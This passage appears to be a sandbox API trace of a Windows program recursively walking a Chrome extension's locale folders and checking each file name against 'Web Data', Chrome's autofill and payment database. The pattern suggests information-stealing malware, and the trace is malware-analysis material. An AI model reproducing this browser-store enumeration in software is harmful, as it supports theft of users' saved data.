returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca" [0056.204] LocalFree (hMem=0x2daca0) returned 0x0 [0056.204] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca") returned 132 [0056.204] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca") returned 132 [0056.204] lstrlenA (lpString="\\*.*") returned 4 [0056.204] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.204] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca" [0056.204] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*.*" [0056.204] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.204] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.204] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.204] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.204] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.204] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.204] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.204] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.204] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.204] LocalFree (hMem=0x2daec0) returned 0x0 [0056.204] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.204] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.204] lstrcmpiA (lpString1=".", lpString2="cs") returned -1 [0056.204] lstrcmpiA (lpString1="..", lpString2="cs") returned -1 [0056.204] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.204] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.204] lstrlenA (lpString="\\") returned 1 [0056.204] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.204] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.204] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.204] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.204] lstrlenA (lpString="cs") returned 2 [0056.204] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.204] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.204] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs" [0056.204] LocalFree (hMem=0x2daca0) returned 0x0 [0056.204] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs") returned 132 [0056.204] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs") returned 132 [0056.204] lstrlenA (lpString="\\*.*") returned 4 [0056.204] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.204] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs" [0056.204] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*.*" [0056.204] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.205] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.205] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.205] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.205] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.205] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.205] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.205] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.205] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.205] LocalFree (hMem=0x2daec0) returned 0x0 [0056.205] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.205] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.205] lstrcmpiA (lpString1=".", lpString2="da") returned -1 [0056.205] lstrcmpiA (lpString1="..", lpString2="da") returned -1 [0056.205] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.205] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.205] lstrlenA (lpString="\\") returned 1 [0056.205] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.205] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.205] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.205] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.205] lstrlenA (lpString="da") returned 2 [0056.205] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.205] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.205] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da" [0056.205] LocalFree (hMem=0x2daca0) returned 0x0 [0056.205] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da") returned 132 [0056.205] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da") returned 132 [0056.205] lstrlenA (lpString="\\*.*") returned 4 [0056.205] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.205] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da" [0056.205] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*.*" [0056.205] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.205] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.205] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.205] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.205] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.205] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.205] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.205] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.205] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.205] LocalFree (hMem=0x2daec0) returned 0x0 [0056.205] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.205] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.205] lstrcmpiA (lpString1=".", lpString2="de") returned -1 [0056.206] lstrcmpiA (lpString1="..", lpString2="de") returned -1 [0056.206] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.206] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.206] lstrlenA (lpString="\\") returned 1 [0056.206] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.206] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.206] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.206] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.206] lstrlenA (lpString="de") returned 2 [0056.206] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.206] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.206] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de" [0056.206] LocalFree (hMem=0x2daca0) returned 0x0 [0056.206] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de") returned 132 [0056.206] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de") returned 132 [0056.206] lstrlenA (lpString="\\*.*") returned 4 [0056.206] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.206] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de" [0056.206] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*.*" [0056.206] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.206] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.206] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.206] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.206] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.206] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.206] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.206] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.206] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.206] LocalFree (hMem=0x2daec0) returned 0x0 [0056.206] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.206] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.206] lstrcmpiA (lpString1=".", lpString2="el") returned -1 [0056.206] lstrcmpiA (lpString1="..", lpString2="el") returned -1 [0056.206] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.206] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.206] lstrlenA (lpString="\\") returned 1 [0056.206] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.206] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.206] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.206] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.206] lstrlenA (lpString="el") returned 2 [0056.206] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.206] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.206] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el" [0056.206] LocalFree (hMem=0x2daca0) returned 0x0 [0056.206] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el") returned 132 [0056.206] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el") returned 132 [0056.207] lstrlenA (lpString="\\*.*") returned 4 [0056.207] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.207] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el" [0056.207] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 